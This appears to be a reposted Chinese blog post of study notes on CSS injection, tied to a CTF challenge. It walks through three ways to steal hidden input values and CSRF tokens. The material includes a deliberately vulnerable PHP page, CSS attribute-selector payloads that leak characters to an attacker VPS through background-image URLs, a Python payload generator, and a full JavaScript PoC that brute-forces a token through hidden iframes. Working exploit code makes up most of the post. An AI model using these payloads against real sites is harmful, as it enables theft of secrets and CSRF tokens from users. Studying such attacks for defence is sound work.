CSS注入攻击

关于css注入是第一次看到,这里记录学习一下。

第一种姿势

先来做一个简单的实验:

<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
$css = $_GET['css'];
?>
<!doctype html><meta charset=utf-8>
<input name="flag" type=hidden value="flag{xxx}">
<script>
    var TOKEN = "<?=$token2 ?>";
</script>

<link rel="stylesheet" href="<?=$css ?>" />

假设我们现在要窃取页面的flag值的第一位f,那么现在在我们的vps上写入:

一般CSRF Token的type都为hidden,会有不加载background-image属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)

解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image,达到将数据带出的目的。

input[name=flag][value^="f"] ~ * {
background-image: url("http://vps/?flag=f");
}

然后传入payload:

?css=http://vps/poc.css

在vps监听:

 

 那么以这个思路,对flag值逐一爆破,为了方便写了个脚本:

#python
f = open("poc.css","w") dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: payload = '''input[name=flag][value^="flag{'''+i+'''"] ~ * {background-image:url("http://174.0.13.182:8888/?flag=flag{'''+i+'''");}''' f.write(payload + "\n") f.close()

依次盲注,就可以把flag值爆出来了。

通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?

第二种姿势

通过不断创建iframe,动态猜解每一位csrf token

当然这需要目标站点x-frame-options未被禁用,当然本题并未限制此方法

poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e

<html>
    <style>
        #current {
            font-size: 32px;
            color: red;
        }
        #time_to_next {
            font-size: 24px;
            color: black;
        }
        #frames {
            visibility: hidden;
        }
    </style>
    <body>
        <div id="current"></div>
        <div id="time_to_next"></div>
        <div id="frames"></div>
    </body>
    <script>
        chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        known = "";
        target_time = new Date();
        timer = 0;
        function test_char(known, chars) {
            // Remove all the frames
            document.getElementById("frames").innerHTML = "";
            // Append the chars with the known chars
            css = build_css(chars.map(v => known + v));
            // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab...
            frame = document.createElement("iframe");
            frame.src = "http://192.168.0.5/css/?css=" + css;
            frame.style="visibility: hidden;"; //gotta be sneaky sneaky like
            document.getElementById("frames").appendChild(frame);
            // timer stuff because we want to be l33t
            clearInterval(timer);
            target_time = new Date();
            target_time.setSeconds(target_time.getSeconds() + 3);
            timer = setInterval(function() {
                var current_time = new Date();
                diff = target_time - current_time;
                document.getElementById("time_to_next").innerHTML = "Time to next reload: " + diff / 1000;
            }, 50);
            // in 3 seconds, after the iframe loads, check to see if we got a response yet
            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", "http://192.168.0.5/css/?css=");
                oReq.send();
            }, 3000);
        }
        function build_css(values) {
            css_payload = "";
            for(var value in values) {
                css_payload += "input[value^="
                    + values[value]
                    + "]~*{background-image:url(http://192.168.0.5:8012/"
                    + values[value]
                    + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            return css_payload;
        }
        function known_listener () {
            document.getElementById("current").innerHTML = "Current Token: " + this.responseText;
            if(known != this.responseText) {
                known = this.responseText;
                test_char(known, chars);
            } else {
                known = this.responseText;
                alert("CSRF token is: " + known);
            }
        }
        test_char("", chars);  //若监听到第一位为f,需依次传入第一位参数中。
    </script>
</html>

那iframe被禁用了,还有办法注入吗?

第三种姿势

参考这篇文章:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b

提供了一个工具:使得可以通过import css来获得token:https://github.com/d0nutptr/sic

Refer:

https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/#cssgame

https://www.smi1e.top/%e9%80%9a%e8%bf%87css%e6%b3%a8%e5%85%a5%e7%aa%83%e5%8f%96html%e4%b8%ad%e7%9a%84%e6%95%b0%e6%8d%ae/

http://www.fwheart.club/2019/04/08/[%E8%AF%91]%E4%BD%BF%E7%94%A8CSS%E7%AA%83%E5%8F%96%E6%95%B0%E6%8D%AE%EF%BC%9A%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%AE%88/

https://xz.aliyun.com/t/6911#toc-12

 
 

  

猜你喜欢

转载自www.cnblogs.com/Silkage/p/13210964.html